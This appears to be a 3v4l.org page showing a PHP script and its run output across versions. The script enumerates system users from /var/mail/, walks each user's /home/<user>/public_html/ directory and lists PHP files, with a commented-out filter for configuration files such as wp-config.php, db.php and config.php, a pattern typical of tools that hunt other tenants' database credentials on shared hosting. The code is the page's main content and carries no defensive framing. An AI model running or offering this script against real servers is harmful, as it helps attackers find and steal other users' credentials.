3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $users = array(); $homepaths = array(); $configlist = array( 'config.php', 'config.inc.php', 'db.inc.php', 'connect.php', 'wp-config.php', 'var.php', 'configure.php', 'database.php', 'db.php', 'configuration.php', 'db_connect.php'); $var = '/var/mail/'; if (is_readable($var) & is_dir($var)) { $userlist = rglob('{*}', GLOB_BRACE, $var); } else { die("cant grab users from {$var}"); } if (!empty($userlist)) { foreach ($userlist as $user) { array_push($users, preg_replace('/^.+[\\\\\\/]/', '', $user)); } } foreach ($users as $usr) { $path = "/home/{$usr}/public_html/"; if (is_dir($path)) { array_push($homepaths, $path); } } foreach ($homepaths as $home) { if (is_dir($home)) { $fileList = rglob('{*.php}', GLOB_BRACE, $home); if (!empty($fileList)) { foreach ($fileList as $f) { //if (in_array(preg_replace('/^.+[\\\\\\/]/', '', $f), $configlist)) { echo $f; // } } } } } /* rglob func borrowed from https://github.com/hm2k/hm2k-php/blob/master/functions/rglob.php */ function rglob($pattern = '*', $flags = 0, $path = '') { $paths = glob($path . '*', GLOB_MARK | GLOB_ONLYDIR | GLOB_NOSORT); $files = glob($path . $pattern, $flags); foreach ($paths as $path) { $files = array_merge($files, rglob($pattern, $flags, $path)); } return $files; } ?>
Output for 4.3.0 - 4.3.6, 4.3.9 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
Output for 4.3.7 - 4.3.8
Warning: Invalid argument supplied for foreach() in /in/KYZJo on line 57